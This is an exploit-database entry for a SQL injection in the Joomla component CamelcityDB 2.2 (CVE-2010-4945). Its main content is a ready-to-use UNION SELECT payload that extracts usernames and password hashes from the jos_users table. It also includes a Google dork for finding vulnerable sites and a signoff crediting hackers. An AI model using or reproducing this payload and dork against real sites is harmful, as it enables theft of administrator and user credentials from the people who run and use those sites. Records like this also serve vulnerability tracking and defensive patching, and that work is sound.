Joomla! Component CamelcityDB 2.2 - SQL Injection

Author: Amine_92
type: webapps
platform: php
port: 0
date_added: 2010-08-02
date_updated: 2016-12-15
verified: 0
codes: CVE-2010-4945;OSVDB-76246
tags: 
aliases: 
screenshot_url: 
application_url: 

==============================================================
Joomla Component (com_camelcitydb2) SQL Injection Vulnerability
==============================================================

###########################
Title : Joomla Component (com_camelcitydb2) SQL Injection Vulnerability
Script : Joomla CamelcityDB 2.2
Date : 02/08/2010
Author : Amine_92
Tested : All version
Home : http://vbhacker.net
Dork : inurl:"option=com_camelcitydb2"
contact : amine92_16@hotmail.fr
###########################

[ Vulnerable File ]

[path]/index.php?option=com_camelcitydb2&view=all&Itemid=15

[SQL]:

/index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--

##############################################################
Thank's to : All Hacker Mu$lim & Poeple of Gaza